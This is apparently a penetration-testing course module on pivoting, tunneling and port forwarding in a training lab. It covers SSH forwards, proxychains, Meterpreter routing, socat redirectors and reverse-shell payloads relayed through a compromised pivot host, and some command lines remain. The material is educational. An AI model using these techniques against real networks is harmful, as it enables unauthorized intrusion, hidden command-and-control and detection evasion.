12 Pivoting, Tunneling, andPortForwarding
12 Pivoting, Tunneling, andPortForwarding
There are many different terms used to describe a compromised host that we can use to
pivot to a previously unreachable network segment. Some of the most common are:
Pivot Host
Proxy
Foothold
Beach Head system
Jump Host
Pivoting's primary use is to defeat segmentation (both physically and virtually) to access an
isolated network. Tunneling , on the other hand, is a subset of pivoting. Tunneling
encapsulates network traffic into another protocol and routes traffic through it. Think of it like
this:
We have a key we need to send to a partner, but we do not want anyone who sees our
package to know it is a key. So we get a stuffed animal toy and hide the key inside with
instructions about what it does. We then package the toy up and send it to our partner.
Anyone who inspects the box will see a simple stuffed toy, not realizing it contains something
else. Only our partner will know that the key is hidden inside and will learn how to access
and use it once delivered.
Typical applications like VPNs or specialized browsers are just another form of tunneling
network traffic.
We will inevitably come across several different terms used to describe the same thing in IT
& the Infosec industry. With pivoting, we will notice that this is often referred to as Lateral
Movement .
The answer to that is not exactly. Let's take a second to compare and contrast Lateral
Movement with Pivoting and Tunneling , as there can be some confusion as to why some
consider them different concepts.
During an assessment, we gained initial access to the target environment and were able to
gain control of the local administrator account. We performed a network scan and found
three more Windows hosts in the network. We attempted to use the same local administrator
credentials, and one of those devices shared the same administrator account. We used the
credentials to move laterally to that other device, enabling us to compromise the domain
further.
Pivoting
Utilizing multiple hosts to cross network boundaries you would not usually have access to.
This is more of a targeted objective. The goal here is to allow us to move deeper into a
network by compromising targeted hosts or infrastructure.
During one tricky engagement, the target had their network physically and logically
separated. This separation made it difficult for us to move around and complete our
objectives. We had to search the network and compromise a host that turned out to be the
engineering workstation used to maintain and monitor equipment in the operational
environment, submit reports, and perform other administrative duties in the enterprise
environment. That host turned out to be dual-homed (having more than one physical NIC
connected to different networks). Without it having access to both enterprise and operational
networks, we would not have been able to pivot as we needed to complete our assessment.
Tunneling
We often find ourselves using various protocols to shuttle traffic in/out of a network where
there is a chance of our traffic being detected. For example, using HTTP to mask our
Command & Control traffic from a server we own to the victim host. The key here is
obfuscation of our actions to avoid detection for as long as possible. We utilize protocols with
enhanced security measures such as HTTPS over TLS or SSH over other transport
protocols. These types of actions also enable tactics like the exfiltration of data out of a
target network or the delivery of more payloads and instructions into the network.
One way we used Tunneling was to craft our traffic to hide in HTTP and HTTPS. This is a
common way we maintained Command and Control (C2) of the hosts we had compromised
within a network. We masked our instructions inside GET and POST requests that appeared
as normal traffic and, to the untrained eye, would look like a web request or response to any
old website. If the packet were formed properly, it would be forwarded to our Control server.
If it were not, it would be redirected to another website, potentially throwing off the defender
checking it out.
To summarize, we should look at these tactics as separate things. Lateral Movement helps
us spread wide within a network, elevating our privileges, while Pivoting allows us to delve
deeper into the networks accessing previously unreachable environments. Keep this
comparison in mind while moving through this module.
Now that we have been introduced to the module and have defined and compared Lateral
Movement, Pivoting, and Tunneling, let's dive into some of the networking concepts that
enable us to perform these tactics.
Servers
Routers
Switch virtual interfaces
Printers
And any devices that are providing critical services to the network
ifconfig
In the output above, each NIC has an identifier ( eth0 , eth1 , lo , tun0 ) followed by
addressing information and traffic statistics. The tunnel interface (tun0) indicates a VPN
connection is active. When we connect to any of HTB's VPN servers through Pwnbox or our
own attack host, we will always notice a tunnel interface gets created and assigned an IP
address. The VPN allows us to access the lab network environments hosted by HTB. Keep
in mind that these lab networks are not reachable without having a tunnel established. The
VPN encrypts traffic and also establishes a tunnel over a public network (often the Internet),
through NAT on a public-facing network appliance, and into the internal/private network.
Also, notice the IP addresses assigned to each NIC. The IP assigned to eth0 (
134.122.100.200 ) is a publicly routable IP address. Meaning ISPs will route traffic
originating from this IP over the Internet. We will see public IPs on devices that are directly
facing the Internet, commonly hosted in DMZs. The other NICs have private IP addresses,
which are routable within internal networks but not over the public Internet. At the time of
writing, anyone that wants to communicate over the Internet must have at least one public IP
address assigned to an interface on the network appliance that connects to the physical
infrastructure connecting to the Internet. Recall that NAT is commonly used to translate
private IP addresses to public IP addresses.
Using ipconfig
PS C:\Users\htb-student> ipconfig
Windows IP Configuration
The output directly above is from issuing ipconfig on a Windows system. We can see that
this system has multiple adapters, but only one of them has IP addresses assigned. There
are IPv6 addresses and an IPv4 address. This module will primarily focus on networks
running IPv4 as it remains the most common IP addressing mechanism in enterprise LANs.
We will notice some adapters, like the one in the output above, will have an IPv4 and an
IPv6 address assigned in a dual-stack configuration allowing resources to be reached over
IPv4 or IPv6.
Every IPv4 address will have a corresponding subnet mask . If an IP address is like a phone
number, the subnet mask is like the area code. Remember that the subnet mask defines the
network & host portion of an IP address. When network traffic is destined for an IP
address located in a different network, the computer will send the traffic to its assigned
default gateway . The default gateway is usually the IP address assigned to a NIC on an
appliance acting as the router for a given LAN. In the context of pivoting, we need to be
mindful of what networks a host we land on can reach, so documenting as much IP
addressing information as possible on an engagement can prove helpful.
Routing
It is common to think of a network appliance that connects us to the Internet when thinking
about a router, but technically any computer can become a router and participate in routing.
Some of the challenges we will face in this module require us to make a pivot host route
traffic to another network. One way we will see this is through the use of AutoRoute, which
allows our attack box to have routes to target networks that are reachable through a pivot
host. One key defining characteristic of a router is that it has a routing table that it uses to
forward traffic based on the destination IP address. Let's look at this on Pwnbox using the
commands netstat -r or ip route .
netstat -r
We will notice that Pwnbox, Linux distros, Windows, and many other operating systems have
a routing table to assist the system in making routing decisions. When a packet is created
and has a destination before it leaves the computer, the routing table is used to decide
where to send it. For example, if we are trying to connect to a target with the IP
10.129.10.25 , we could tell from the routing table where the packet would be sent to get
there. It would be forwarded to a Gateway out of the corresponding NIC ( Iface ). Pwnbox
is not using any routing protocols (EIGRP, OSPF, BGP, etc...) to learn each of those routes. It
learned about those routes via its own directly connected interfaces (eth0, eth1, tun0).
Stand-alone appliances designated as routers typically will learn routes using a combination
of static route creation, dynamic routing protocols, and directly connected interfaces. Any
traffic destined for networks not present in the routing table will be sent to the default
route , which can also be referred to as the default gateway or gateway of last resort. When
looking for opportunities to pivot, it can be helpful to look at the hosts' routing table to identify
which networks we may be able to reach or which routes we may need to add.
Let's take, for example, a web server using HTTP ( often listening on port 80 ). The
administrators should not block traffic coming inbound on port 80. This would prevent
anyone from visiting the website they are hosting. This is often a way into the network
environment, through the same port that legitimate traffic is passing . We must
not overlook the fact that a source port is also generated to keep track of established
connections on the client-side of a connection. We need to remain mindful of what ports we
are using to ensure that when we execute our payloads, they connect back to the intended
listeners we set up. We will get creative with the use of ports throughout this module.
For further review of fundamental networking concepts, please reference the module
Introduction to Networking.
A tip from LTNB0B: In this module, we will practice many different tools and techniques to
pivot through hosts and forward local or remote services to our attack host to access targets
connected to different networks. This module gradually increases in difficulty, providing multi-
host networks to practice what is learned. I strongly encourage you to practice many different
methods in creative ways as you start to understand the concepts. Maybe even try to draw
out the network topologies using network diagramming tools as you face challenges. When I
am looking for opportunities to pivot, I like to use tools like Draw.io to build a visual of the
network environment I am in, it serves as a great documentation tool as well. This module is
a lot of fun and will put your networking skills to the test. Have fun, and never stop learning!
Questions
Answer the question(s) below
to complete this Section and earn cubes!
Cheat Sheet
+ 1 Reference the Using ifconfig output in the section reading. Which NIC is assigned a
public IP address?
Submit
+ 1 Reference the Routing Table on Pwnbox output shown in the section reading. If a packet
is destined for a host with the IP address of 10.129.10.25, out of which NIC will the packet be
forwarded?
Submit
Hint
+ 1 Reference the Routing Table on Pwnbox output shown in the section reading. If a packet
is destined for www.hackthebox.com what is the IP address of the gateway it will be sent to?
Submit
Hint
Dynamic Port Forwarding with SSH and SOCKS
Tunneling
Note: Each network diagram presented in this module is designed to illustrate concepts
discussed in the associated section. The IP addressing shown in the diagrams will not
always match the lab environments exactly. Be sure to focus on understanding the concept,
and you will find the diagrams will prove very useful! After reading this section be sure to
reference the above image again to reinforce the concepts.
We have our attack host (10.10.15.x) and a target Ubuntu server (10.129.x.x), which we
have compromised. We will scan the target Ubuntu server using Nmap to search for open
ports.
The Nmap output shows that the SSH port is open. To access the MySQL service, we can
either SSH into the server and access MySQL from inside the Ubuntu server, or we can port
forward it to our localhost on port 1234 and access it locally. A benefit of accessing it locally
is if we want to execute a remote exploit on the MySQL service, we won't be able to do it
without port forwarding. This is due to MySQL being hosted locally on the Ubuntu server on
port 3306 . So, we will use the below command to forward our local port (1234) over SSH to
the Ubuntu server.
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
https://ubuntu.com/blog/microk8s-memory-optimisation
The -L command tells the SSH client to request the SSH server to forward all the data we
send via the port 1234 to localhost:3306 on the Ubuntu server. By doing this, we should
be able to access the MySQL service locally on port 1234. We can use Netstat or Nmap to
query our local host on 1234 port to verify whether the MySQL service was forwarded.
Similarly, if we want to forward multiple ports from the Ubuntu server to your localhost, you
can do so by including the local port:server:port argument to your ssh command. For
example, the below command forwards the apache web server's port 80 to your attack host's
local port on 8080 .
Setting up to Pivot
Now, if you type ifconfig on the Ubuntu host, you will find that this server has multiple
NICs:
ubuntu@WEB01:~$ ifconfig
Unlike the previous scenario where we knew which port to access, in our current scenario,
we don't know which services lie on the other side of the network. So, we can scan smaller
ranges of IPs on the network ( 172.16.5.1-200 ) network or the entire subnet (
172.16.5.0/23 ). We cannot perform this scan directly from our attack host because it does
not have routes to the 172.16.5.0/23 network. To do this, we will have to perform dynamic
port forwarding and pivot our network packets via the Ubuntu server. We can do this
by starting a SOCKS listener on our local host (personal attack host or Pwnbox) and
then configure SSH to forward that traffic via SSH to the network (172.16.5.0/23) after
connecting to the target host.
This is called SSH tunneling over SOCKS proxy . SOCKS stands for Socket Secure , a
protocol that helps communicate with servers where you have firewall restrictions in place.
Unlike most cases where you would initiate a connection to connect to a service, in the case
of SOCKS, the initial traffic is generated by a SOCKS client, which connects to the SOCKS
server controlled by the user who wants to access a service on the client-side. Once the
connection is established, network traffic can be routed through the SOCKS server on behalf
of the connected client.
This technique is often used to circumvent the restrictions put in place by firewalls, and allow
an external entity to bypass the firewall and access a service within the firewalled
environment. One more benefit of using SOCKS proxy for pivoting and forwarding data is
that SOCKS proxies can pivot via creating a route to an external server from NAT networks .
SOCKS proxies are currently of two types: SOCKS4 and SOCKS5 . SOCKS4 doesn't provide
any authentication and UDP support, whereas SOCKS5 does provide that. Let's take an
example of the below image where we have a NAT'd network of 172.16.5.0/23, which we
cannot access directly.
In the above image, the attack host starts the SSH client and requests the SSH server to
allow it to send some TCP data over the ssh socket. The SSH server responds with an
acknowledgment, and the SSH client then starts listening on localhost:9050 . Whatever
data you send here will be broadcasted to the entire network (172.16.5.0/23) over SSH. We
can use the below command to perform this dynamic port forwarding.
The -D argument requests the SSH server to enable dynamic port forwarding. Once we
have this enabled, we will require a tool that can route any tool's packets over the port 9050 .
We can do this using the tool proxychains , which is capable of redirecting TCP
connections through TOR, SOCKS, and HTTP/HTTPS proxy servers and also allows us to
chain multiple proxy servers together. Using proxychains, we can hide the IP address of the
requesting host as well since the receiving host will only see the IP of the pivot host.
Proxychains is often used to force an application's TCP traffic to go through hosted
proxies like SOCKS4 / SOCKS5 , TOR , or HTTP / HTTPS proxies.
To inform proxychains that we must use port 9050, we must modify the proxychains
configuration file located at /etc/proxychains.conf . We can add socks4 127.0.0.1
9050 to the last line if it is not already there.
Checking /etc/proxychains.conf
tail -4 /etc/proxychains.conf
# meanwile
# defaults set to "tor"
socks4 127.0.0.1 9050
Now when you start Nmap with proxychains using the below command, it will route all the
packets of Nmap to the local port 9050, where our SSH client is listening, which will forward
all the packets over SSH to the 172.16.5.0/23 network.
ProxyChains-3.1 (http://proxychains.sf.net)
<SNIP>
This part of packing all your Nmap data using proxychains and forwarding it to a remote
server is called SOCKS tunneling . One more important note to remember here is that we
can only perform a full TCP connect scan over proxychains. The reason for this is that
proxychains cannot understand partial packets. If you send partial packets like half connect
scans, it will return incorrect results. We also need to make sure we are aware of the fact
that host-alive checks may not work against Windows targets because the Windows
Defender firewall blocks ICMP requests (traditional pings) by default.
A full TCP connect scan without ping on an entire network range will take a long time. So, for
this module, we will primarily focus on scanning individual hosts, or smaller ranges of hosts
we know are alive, which in this case will be a Windows host at 172.16.5.19 .
ProxyChains-3.1 (http://proxychains.sf.net)
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan
times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-24 12:33 EST
Initiating Parallel DNS resolution of 1 host. at 12:33
Completed Parallel DNS resolution of 1 host. at 12:33, 0.15s elapsed
Initiating Connect Scan at 12:33
Scanning 172.16.5.19 [1000 ports]
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:1720-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:587-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:445-<><>-OK
Discovered open port 445/tcp on 172.16.5.19
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:8080-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:23-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:135-<><>-OK
Discovered open port 135/tcp on 172.16.5.19
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:110-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:21-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:554-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-1172.16.5.19:25-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:5900-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:1025-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:143-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:199-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:993-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:995-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:3389-<><>-OK
Discovered open port 3389/tcp on 172.16.5.19
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:443-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:80-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:113-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:8888-<--timeout
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:139-<><>-OK
Discovered open port 139/tcp on 172.16.5.19
The Nmap scan shows several open ports, one of which is RDP port (3389). Similar to the
Nmap scan, we can also pivot msfconsole via proxychains to perform vulnerable RDP
scans using Metasploit auxiliary modules. We can start msfconsole with proxychains.
Using Metasploit with Proxychains
We can also open Metasploit using proxychains and send all associated traffic through the
proxy we have established.
proxychains msfconsole
ProxyChains-3.1 (http://proxychains.sf.net)
.~+P``````-o+:. -o+:.
.+oooyysyyssyyssyddh++os-````` ```````````````
`
+++++++++++++++++++++++sydhyoyso/:.````...`...-///::+ohhyosyyosyy/+om++:oo
o///o
++++///////~~~~///////++++++++++++++++ooyysoyysosso+++++++++++++++++++///o
ossosy
--.`
.-.-...-////+++++++++++++++////////~~//////++++++++++++///
`...............`
`...-/////...`
.::::::::::-.
.::::::-
.hmMMMMMMMMMMNddds\...//M\\.../hddddmMMMMMMNo
:Nm-/NMMMMMMMMMMMMM$$NMMMMm&&MMMMMMMMMMMMMMy
.sm/`-
yMMMMMMMMMMMM$$MMMMMN&&MMMMMMMMMMMMMh`
-Nd`
:MMMMMMMMMMM$$MMMMMN&&MMMMMMMMMMMMh`
-Nh`
.yMMMMMMMMMM$$MMMMMN&&MMMMMMMMMMMm/
`oo/``-hd: `` .sNd :MMMMMMMMMM$$MMMMMN&&MMMMMMMMMMm/
.yNmMMh//+syysso-`````` -mh` :MMMMMMMMMM$$MMMMMN&&MMMMMMMMMMd
.shMMMMN//dmNMMMMMMMMMMMMs` `:```-o++++oooo+:/ooooo+:+o+++oooo++/
`///omh//dMMMMMMMMMMMMMMMN/:::::/+ooso--/ydh//+s+/ossssso:--syN///os:
/MMMMMMMMMMMMMMMMMMd. `/++-.-yy/...osydh/-+oo:-`o//...oyodh+
-hMMmssddd+:dMMmNMMh. `.-=mmk.//^^^\\.^^`:++:^^o://^^^\\`::
.sMMmo. -dMd--:mN/` ||--X--|| ||--X--||
........../yddy/:...+hmo-...hdd:............\\=v=//............\\=v=//....
.....
==========================================================================
======
=====================+--------------------------------
+=========================
=====================| Session one died of dysentery.
|=========================
=====================+--------------------------------
+=========================
==========================================================================
======
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Date: April 25, 1848
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%% Weather: It's always cool in the lab
%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%% Health: Overweight
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%% Caffeine: 12975 mg
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%% Hacked: All the things
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%
=[ metasploit v6.1.27-dev ]
+ -- --=[ 2196 exploits - 1162 auxiliary - 400 post ]
+ -- --=[ 596 payloads - 45 encoders - 10 nops ]
+ -- --=[ 9 evasion ]
msf6 >
Let's use the rdp_scanner auxiliary module to check if the host on the internal network is
listening on 3389.
Matching Modules
================
Interact with a module by name or index. For example info 0, use 0 or use
auxiliary/scanner/rdp/rdp_scanner
At the bottom of the output above, we can see the RDP port open with the Windows OS
version.
Depending on the level of access we have to this host during an assessment, we may try to
run an exploit or log in using gathered credentials. For this module, we will log in to the
Windows remote host over the SOCKS tunnel. This can be done using xfreerdp . The user
in our case is victor, and the password is pass@123
ProxyChains-3.1 (http://proxychains.sf.net)
[13:02:42:481] [4829:4830] [INFO][com.freerdp.core] -
freerdp_connect:freerdp_set_last_error_ex resetting error state
[13:02:42:482] [4829:4830] [INFO][com.freerdp.client.common.cmdline] -
loading channelEx rdpdr
[13:02:42:482] [4829:4830] [INFO][com.freerdp.client.common.cmdline] -
loading channelEx rdpsnd
[13:02:42:482] [4829:4830] [INFO][com.freerdp.client.common.cmdline] -
loading channelEx cliprdr
The xfreerdp command will require an RDP certificate to be accepted before successfully
establishing the session. After accepting it, we should have an RDP session, pivoting via the
Ubuntu server.
Note: When spawning your target, we ask you to wait for 3 - 5 minutes until the whole lab
with all the configurations is set up so that the connection to your target works flawlessly.
We have seen local port forwarding, where SSH can listen on our local host and forward a
service on the remote host to our port, and dynamic port forwarding, where we can send
packets to a remote network via a pivot host. But sometimes, we might want to forward a
local service to the remote port as well. Let's consider the scenario where we can RDP into
the Windows host Windows A . As can be seen in the image below, in our previous case, we
could pivot into the Windows host via the Ubuntu server.
But what happens if we try to gain a reverse shell?
The outgoing connection for the Windows host is only limited to the 172.16.5.0/23
network. This is because the Windows host does not have any direct connection with the
network the attack host is on. If we start a Metasploit listener on our attack host and try to
get a reverse shell, we won't be able to get a direct connection here because the Windows
server doesn't know how to route traffic leaving its network (172.16.5.0/23) to reach the
10.129.x.x (the Academy Lab network).
There are several times during a penetration testing engagement when having just a remote
desktop connection is not feasible. You might want to upload / download files (when the
RDP clipboard is disabled), use exploits or low-level Windows API using a Meterpreter
session to perform enumeration on the Windows host, which is not possible using the built-in
Windows executables.
In these cases, we would have to find a pivot host, which is a common connection point
between our attack host and the Windows server. In our case, our pivot host would be the
Ubuntu server since it can connect to both: our attack host and the Windows target .
To gain a Meterpreter shell on Windows, we will create a Meterpreter HTTPS payload
using msfvenom , but the configuration of the reverse connection for the payload would be
the Ubuntu server's host IP address ( 172.16.5.129 ). We will use the port 8080 on the
Ubuntu server to forward all of our reverse packets to our attack hosts' 8000 port, where our
Metasploit listener is running.
Once our payload is created and we have our listener configured & running, we can copy the
payload to the Ubuntu server using the scp command since we already have the
credentials to connect to the Ubuntu server using SSH.
After copying the payload, we will start a python3 HTTP server using the below command
on the Ubuntu server in the same directory where we copied our payload.
Once we have our payload downloaded on the Windows host, we will use SSH remote port
forwarding to forward connections from the Ubuntu server's port 8080 to our msfconsole's
listener service on port 8000. We will use -vN argument in our SSH command to make it
verbose and ask it not to prompt the login shell. The -R command asks the Ubuntu server to
listen on <targetIPaddress>:8080 and forward all incoming connections on port 8080 to
our msfconsole listener on 0.0.0.0:8000 of our attack host .
Using SSH -R
ssh -R <InternalIPofPivotHost>:8080:0.0.0.0:8000
ubuntu@<ipAddressofTarget> -vN
After creating the SSH remote port forward, we can execute the payload from the Windows
target. If the payload is executed as intended and attempts to connect back to our listener,
we can see the logs from the pivot on the pivot host.
If all is set up properly, we will receive a Meterpreter shell pivoted via the Ubuntu server.
C:\>
Our Meterpreter session should list that our incoming connection is from a local host itself (
127.0.0.1 ) since we are receiving the connection over the local SSH socket , which
created an outbound connection to the Ubuntu server. Issuing the netstat command can
show us that the incoming connection is from the SSH service.
In addition to answering the challenge questions, practice this technique and try to obtain a
reverse shell from the Windows target.
Meterpreter Tunneling & Port Forwarding
Now let us consider a scenario where we have our Meterpreter shell access on the Ubuntu
server (the pivot host), and we want to perform enumeration scans through the pivot host,
but we would like to take advantage of the conveniences that Meterpreter sessions bring us.
In such cases, we can still create a pivot with our Meterpreter session without relying on
SSH port forwarding. We can create a Meterpreter shell for the Ubuntu server with the below
command, which will return a shell on our attack host on port 8080 .
Before copying the payload over, we can start a multi/handler, also known as a Generic
Payload Handler.
We can copy the backupjob binary file to the Ubuntu pivot host over SSH and execute it to
gain a Meterpreter session.
Executing the Payload on the Pivot Host
ubuntu@WebServer:~$ ls
backupjob
ubuntu@WebServer:~$ chmod +x backupjob
ubuntu@WebServer:~$ ./backupjob
We need to make sure the Meterpreter session is successfully established upon executing
the payload.
/home/ubuntu
We know that the Windows target is on the 172.16.5.0/23 network. So assuming that the
firewall on the Windows target is allowing ICMP requests, we would want to perform a ping
sweep on this network. We can do that using Meterpreter with the ping_sweep module,
which will generate the ICMP traffic from the Ubuntu host to the network 172.16.5.0/23 .
Ping Sweep
We could also perform a ping sweep using a for loop directly on a target pivot host that
will ping any device in the network range we specify. Here are two helpful ping sweep for
loop one-liners we could use for Linux-based and Windows-based pivot hosts.
for i in {1..254} ;do (ping -c 1 172.16.5.$i | grep "bytes from" &) ;done
Note: It is possible that a ping sweep may not result in successful replies on the first attempt,
especially when communicating across networks. This can be caused by the time it takes for
a host to build it's arp cache. In these cases, it is good to attempt our ping sweep at least
twice to ensure the arp cache gets built.
There could be scenarios when a host's firewall blocks ping (ICMP), and the ping won't get
us successful replies. In these cases, we can perform a TCP scan on the 172.16.5.0/23
network with Nmap. Instead of using SSH for port forwarding, we can also use Metasploit's
post-exploitation routing module socks_proxy to configure a local proxy on our attack host.
We will configure the SOCKS proxy for SOCKS version 4a . This SOCKS configuration will
start a listener on port 9050 and route all the traffic received via our Meterpreter session.
Name Description
---- -----------
Proxy Run a SOCKS proxy server
Jobs
====
After initiating the SOCKS server, we will configure proxychains to route traffic generated by
other tools like Nmap through our pivot on the compromised Ubuntu host. We can add the
below line at the end of our proxychains.conf file located at /etc/proxychains.conf if it
isn't already there.
Note: Depending on the version the SOCKS server is running, we may occasionally need to
changes socks4 to socks5 in proxychains.conf.
Finally, we need to tell our socks_proxy module to route all the traffic via our Meterpreter
session. We can use the post/multi/manage/autoroute module from Metasploit to add
routes for the 172.16.5.0 subnet and then route all our proxychains traffic.
It is also possible to add routes with autoroute by running autoroute from the Meterpreter
session.
After adding the necessary route(s) we can use the -p option to list the active routes to
make sure our configuration is applied as expected.
As you can see from the output above, the route has been added to the 172.16.5.0/23
network. We will now be able to use proxychains to route our Nmap traffic via our
Meterpreter session.
Testing Proxy & Routing Functionality
ProxyChains-3.1 (http://proxychains.sf.net)
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan
times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-03 13:40 EST
Initiating Parallel DNS resolution of 1 host. at 13:40
Completed Parallel DNS resolution of 1 host. at 13:40, 0.12s elapsed
Initiating Connect Scan at 13:40
Scanning 172.16.5.19 [1 port]
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19 :3389-<><>-OK
Discovered open port 3389/tcp on 172.16.5.19
Completed Connect Scan at 13:40, 0.12s elapsed (1 total ports)
Nmap scan report for 172.16.5.19
Host is up (0.12s latency).
Port Forwarding
Port forwarding can also be accomplished using Meterpreter's portfwd module. We can
enable a listener on our attack host and request Meterpreter to forward all the packets
received on this port via our Meterpreter session to a remote host on the 172.16.5.0/23
network.
Portfwd options
OPTIONS:
-h Help banner.
-i <opt> Index of the port forward entry to interact with (see the
"list" command).
-l <opt> Forward: local port to listen on. Reverse: local port to
connect to.
-L <opt> Forward: local host to listen on (optional). Reverse: local
host to connect to.
-p <opt> Forward: remote port to connect to. Reverse: remote port to
listen on.
-r <opt> Forward: remote host to connect to.
-R Indicates a reverse port forward.
The above command requests the Meterpreter session to start a listener on our attack host's
local port ( -l ) 3300 and forward all the packets to the remote ( -r ) Windows server
172.16.5.19 on 3389 port ( -p ) via our Meterpreter session. Now, if we execute xfreerdp
on our localhost:3300, we will be able to create a remote desktop session.
Netstat Output
We can use Netstat to view information about the session we recently established. From a
defensive perspective, we may benefit from using Netstat if we suspect a host has been
compromised. This allows us to view any sessions a host has established.
netstat -antp
We can create a reverse port forward on our existing shell from the previous scenario using
the below command. This command forwards all connections on port 1234 running on the
Ubuntu server to our attack host on local port ( -l ) 8081 . We will also configure our listener
to listen on port 8081 for a Windows shell.
meterpreter > bg
We can now create a reverse shell payload that will send a connection back to our Ubuntu
server on 172.16.5.129 : 1234 when executed on our Windows host. Once our Ubuntu
server receives this connection, it will forward that to attack host's ip : 8081 that we
configured.
Finally, if we execute our payload on the Windows host, we should be able to receive a shell
from Windows pivoted via the Ubuntu server.
C:\>
Note: When spawning your target, we ask you to wait for 3 - 5 minutes until the whole lab
with all the configurations is set up so that the connection to your target works flawlessly.
Socat will listen on localhost on port 8080 and forward all the traffic to port 80 on our attack
host (10.10.14.18). Once our redirector is configured, we can create a payload that will
connect back to our redirector, which is running on our Ubuntu server. We will also start a
listener on our attack host because as soon as socat receives a connection from a target, it
will redirect all the traffic to our attack host's listener, where we would be getting a shell.
Keep in mind that we must transfer this payload to the Windows host. We can use some of
the same techniques used in previous sections to do so.
sudo msfconsole
<SNIP>
We can start a socat bind shell listener, which listens on port 8080 and forwards
packets to Windows server 8443 .
Finally, we can start a Metasploit bind handler. This bind handler can be configured to
connect to our socat's listener on port 8080 (Ubuntu server)
We can see a bind handler connected to a stage request pivoted via a socat listener upon
executing the payload on a Windows target.
Establishing Meterpreter Session
Plink, short for PuTTY Link, is a Windows command-line SSH tool that comes as a part of
the PuTTY package when installed. Similar to SSH, Plink can also be used to create
dynamic port forwards and SOCKS proxies. Before the Fall of 2018, Windows did not have a
native ssh client included, so users would have to install their own. The tool of choice for
many a sysadmin who needed to connect to other hosts was PuTTY.
Imagine that we are on a pentest and gain access to a Windows machine. We quickly
enumerate the host and its security posture and determine that it is moderately locked down.
We need to use this host as a pivot point, but it is unlikely that we will be able to pull our own
tools onto the host without being exposed. Instead, we can live off the land and use what is
already there. If the host is older and PuTTY is present (or we can find a copy on a file
share), Plink can be our path to victory. We can use it to create our pivot and potentially
avoid detection a little longer.
That is just one potential scenario where Plink could be beneficial. We could also use Plink if
we use a Windows system as our primary attack host instead of a Linux-based system.
Using Plink.exe
Another Windows-based tool called Proxifier can be used to start a SOCKS tunnel via the
SSH session we created. Proxifier is a Windows tool that creates a tunneled network for
desktop client applications and allows it to operate through a SOCKS or HTTPS proxy and
allows for proxy chaining. It is possible to create a profile where we can provide the
configuration for our SOCKS server started by Plink on port 9050.
After configuring the SOCKS server for 127.0.0.1 and port 9050, we can directly start
mstsc.exe to start an RDP session with a Windows target that allows RDP connections.
Note: We can attempt this technique in any interactive section of this module from a personal
Windows-based attack host. Once you've completed this module from a Linux-based attack
host feel free to try to go back through it from a personal Windows-based attack host. Also,
when spawning your target we ask you to wait for 3 - 5 minutes until the whole lab with all
the configurations is set up so that the connection to your target works flawlessly.
Sshuttle is another tool written in Python which removes the need to configure proxychains.
However, this tool only works for pivoting over SSH and does not provide other options for
pivoting over TOR or HTTPS proxy servers. Sshuttle can be extremely useful for
automating the execution of iptables and adding pivot rules for the remote host. We can
configure the Ubuntu server as a pivot point and route all of Nmap's network traffic with
sshuttle using the example later in this section.
One interesting usage of sshuttle is that we don't need to use proxychains to connect to the
remote hosts. Let's install sshuttle via our Ubuntu pivot host and configure it to connect to
the Windows host via RDP.
Installing sshuttle
To use sshuttle, we specify the option -r to connect to the remote machine with a
username and password. Then we need to include the network or IP we want to route
through the pivot host, in our case, is the network 172.16.5.0/23.
Running sshuttle
With this command, sshuttle creates an entry in our iptables to redirect all traffic to the
172.16.5.0/23 network through the pivot host.
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan
times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-08 11:16 EST
